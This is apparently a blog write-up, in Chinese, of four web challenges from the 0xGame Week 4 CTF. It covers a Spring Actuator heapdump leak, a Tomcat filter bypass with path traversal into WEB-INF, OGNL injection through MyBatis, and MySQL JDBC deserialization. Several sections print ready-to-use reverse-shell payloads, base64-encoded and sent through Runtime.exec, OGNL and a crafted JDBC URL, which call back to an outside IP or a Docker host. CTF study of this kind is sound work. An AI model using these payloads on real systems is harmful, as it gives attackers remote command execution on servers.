0xGame-Week4-web

spring

考点: Spring Actuator heapdump 利⽤

根据 index ⻚⾯的提示可以知道为 spring actuator

参考⽂章: https://xz.aliyun.com/t/9763

访问 /actuator/env 可以发现 app.username 和 app.password 这两个环境变量

image-20231102161525273

app.username 提示 flag 就在 app.password ⾥⾯, 但是它的 value 全是星号, 这⾥其实被 spring 给隐藏了

spring actuator 默认会把含有 password secret 之类关键词的变量的值改成星号, 防⽌敏感信息泄露

但是我们可以通过 /actuator/heapdump 这个路由去导出 jvm 中的堆内存信息, 然后通过⼀定的查询得到

app.password 的明⽂

https://github.com/whwlsfb/JDumpSpider

image-20231102161651004

image-20231102161709707

auth_bypass

考点: Tomcat Filter 绕过 + Java 任意⽂件下载搭配 WEB-INF ⽬录的利⽤

首先分析源码

Authfilter.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example.demo;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

public class AuthFilter implements Filter {

@Override
public void init(FilterConfig filterConfig) {
}

@Override
public void destroy() {
}

@Override
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;

if (request.getRequestURI().contains("..")) {
resp.getWriter().write("blacklist");
return;
}

if (request.getRequestURI().startsWith("/download")) {
resp.getWriter().write("unauthorized access");
} else {
chain.doFilter(req, resp);
}
}
}

DonloadServlet.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.example.demo;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.FileInputStream;
import java.io.IOException;

public class DownloadServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String currentPath = this.getServletContext().getRealPath("/assets/");
Object fileNameParameter = req.getParameter("filename");
if (fileNameParameter != null) {
String fileName = (String) fileNameParameter;
resp.setHeader("Content-Disposition","attachment;filename="+fileName);
try (FileInputStream input = new FileInputStream(currentPath + fileName)) {
byte[] buffer = new byte[4096];
while (input.read(buffer) != -1) {
resp.getOutputStream().write(buffer);
}
}
} else {
resp.setContentType("text/html");
resp.getWriter().write("<a href=\"/download?filename=avatar.jpg\">avatar.jpg</a>");
}
}
}

根据DonloadServlet.java可以看出,代码存在任意文件下载的漏洞,但是download路由被Authfilter.java中的代码给过滤了,这边就需要对filter进行绕过,详细绕过方法可以看我另一篇博客filter设计缺陷导致的权限绕过

这边我们采用**/;sac/download**来进行绕过

image-20231102184632769

接下来我们通过传入filename的参数实现任意文件下载,注意因为代码中是protected void doGet,所以我们只能用get传filename参数

根据题⽬描述, ⽹站使⽤ war 打包,关于war包的目录结构在我的WAR包的目录结构的博客里有

这边先访问web.xml文件,查看路由和类(class目录下)的映射关系。因为..被过滤了,所以根据我的filter设计缺陷导致的权限绕过这篇博客,要用url编码进行绕过

下载了一个_WEB-INF_web.xml文件,我们打开看一下

image-20231102190115686

看到了可疑的路由/You_Find_This_Evil_Servlet_a76f02cb8422和它所对应的类com.example.demo.EvilServlet,看不懂的可以去看我的WAR包的目录结构这篇博客

接下来我们先要获取到这个类的文件,filename访问%2e%2e/WEB-INF/classes/com/example/demo/EvilServlet.class

下载得到了_WEB-INF_classes_com_example_demo_EvilServlet.class文件,用JD-GUI反编译java工具打开

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.IOException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class EvilServlet extends HttpServlet {
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String cmd = req.getParameter("Evil_Cmd_Arguments_fe37627fed78");
try {
Runtime.getRuntime().exec(cmd);
resp.getWriter().write("success");
} catch (Exception e) {
resp.getWriter().write("error");
}
}
}

可以看到有命令执行,最后因为没有回显,那么我们直接post传参反弹shell即可

这边反弹shell命令要进行编码,具体看

https://www.anquanke.com/post/id/243329

https://y4er.com/posts/java-exec-command/

1
bash+-c+{echo,YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC84LjE0Ni4yMDkuOTgvNzc3IDA%2BJjEi}|{base64,-d}|{bash,-i}

这边注意对echo后面的要进行编码,不然会有特殊字符

image-20231102192941821

image-20231102192952085

image-20231102193305647

成功!

YourBatis

这有⼀个⼩坑, 如果 jar 包使⽤ JD-GUI 反编译的话就⽆法正常得到 UserSqlProvider 这个类的内容, 必须得使⽤

IDEA ⾃带的反编译器或者 Jadx-GUI 等其它⼯具才⾏

利用idea的反编译命令,在编译之前创建好out目录

1
java -cp "F:\java IDLE\IntelliJ IDEA 2023.2.1\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true .\YourBatis.jar out

反编译完之后还是jar包,将jar包解压

得到一系列文件,找到pom.xml文件

image-20231102210442901

发现使用了mybatis,可能会有漏洞,详细看我的Mybatis从SQL注入到OGNL注入

image-20231102210834801

发现存在漏洞点

根据参考⽂章可以知道这⾥的 username 被直接拼接进 SQL 语句, 存在 SQL 注⼊, 但是更进⼀步来讲这⾥存在

OGNL 表达式注⼊

在 OGNL 表达式当中也可以访问静态变量或者调用静态方法,格式如 @[class]@[field/method ()]。

1
2
3
4
5
6
7
8
public static String ONE = "one";
// 对静态变量的访问(@[class]@[field/method()])
public static void demo3() throws OgnlException {
Object object1 = Ognl.getValue("@sample.ognl.OgnlDemo@ONE", null);
Object object2 = Ognl.getValue("@sample.ognl.OgnlDemo@demo2()", null); // hello、test、test
System.out.println(object1); // one
System.out.println(object2); // this is demo2 method
}

直接反弹 shell

1
${@java.lang.Runtime@getRuntime().exec("bash -c {echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0Ni4yMDkuOTgvNzc3IDA+JjEi}|{base64,-d}|{bash,-i}")}

但是很显然是会失败的, 因为传⼊的命令包含了 { 和 } , 会被递归解析为另⼀个 OGNL 表达式的开头和结尾

解决⽅案是只要不出现⼤括号就⾏, ⽅法很多, 这⾥给出⼀种, 利⽤ OGNL 调⽤ Java ⾃身的 base64 decode ⽅法

1
2
${@java.lang.Runtime@getRuntime().exec(new
java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdFl5QWlZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzg0TGpFME5pNHlNRGt1T1Rndk56YzNJREErSmpFaX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9')))}

urlencode 全部字符后发送, 反弹 shell, 查看环境变量拿到 flag

image-20231102213035617

TestConnection

自己搭一个docker环境来复现

http://111.229.162.217:1236/

获取题目附件的jar包后进行反编译,可以看到项目的文件

首先找到pom.xml

image-20231109141636111

然后右键导入maven项目,导入之后会有警告

image-20231109141850781

其中可以找到几个关键的cve,最后查到是CVE-2022-21724

可以去看我的MYSQL_JDBC反序列化解析,里面具体介绍了怎么利用漏洞

漏洞注入的关键代码在

image-20231109142303501

可以看到我们要传driver(驱动),url(数据库的地址),username(数据库用户名),password(数据库用户名密码)这四个参数

其中由于url参数的可控给我们提供了代码执行的条件

接下来我们需要准备一个恶意的数据库然后去连接,命令执行

这边介绍一个利用的工具:https://github.com/4ra1n/mysql-fake-server

这个工具可以生成payload并且创建一个恶意的数据库让用户去连接然后去命令执行

注意:用docker搭建恶意的数据库的时候要确保docker的版本高,低的docker版本无法搭建

image-20231109143431557

生成的payload

1
jdbc:mysql://111.111.111.111:1234/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC44

需要修改一下

⾸先得注意, 因为题⽬给的代码是 DriverManager.getConnection(url, username, password); , 即会单独传

⼊⼀个 username 参数, 因此 url 中的 username 会被后⾯的 username 给覆盖

其次, 因为 jdbc url 本身也符合 url 的规范, 所以在传 url 参数的时候, 需要把 url 本身全部进⾏ url 编码, 防⽌服务

器错把 autoDeserialize, queryInterceptors 这些参数当成是⼀个 http get 参数, ⽽不是 jdbc url ⾥⾯的参数

最后依然是 Runtime.exec 命令编码的问题这个也可以去看我的相关博客

修改好的payload

1
2
?driver=com.mysql.cj.jdbc.Driver&url=jdbc:mysql://host.docker.internal:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&username=deser_CC31_bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE=}|{base64,-
d}|{bash,-i}&password=123

之后编码用get方法上传

1
2
3
4
5
6
7
8
9
10
?driver=com.mysql.cj.jdbc.Driver&url=%6a%64%62%63%3a%6d%79%73%71%6c%3a%2f%2f%68%6f%73%74
%2e%64%6f%63%6b%65%72%2e%69%6e%74%65%72%6e%61%6c%3a%33%33%30%38%2f%74%65%73%74%3f%61%75
%74%6f%44%65%73%65%72%69%61%6c%69%7a%65%3d%74%72%75%65%26%71%75%65%72%79%49%6e%74%65%72
%63%65%70%74%6f%72%73%3d%63%6f%6d%2e%6d%79%73%71%6c%2e%63%6a%2e%6a%64%62%63%2e%69%6e%74
%65%72%63%65%70%74%6f%72%73%2e%53%65%72%76%65%72%53%74%61%74%75%73%44%69%66%66%49%6e%74
%65%72%63%65%70%74%6f%72&username=%64%65%73%65%72%5f%43%43%33%31%5f%62%61%73%68%20%2d%6
3%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%3
3%52%6a%63%43%39%6f%62%33%4e%30%4c%6d%52%76%59%32%74%6c%63%69%35%70%62%6e%52%6c%63%6d%3
5%68%62%43%38%30%4e%44%51%30%49%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%6
4%7d%7c%7b%62%61%73%68%2c%2d%69%7d&password=123

0xGame-Week4-web
http://www.qetx.top/posts/44089/
作者
Qetx.Jul.27
发布于
2023年11月2日
许可协议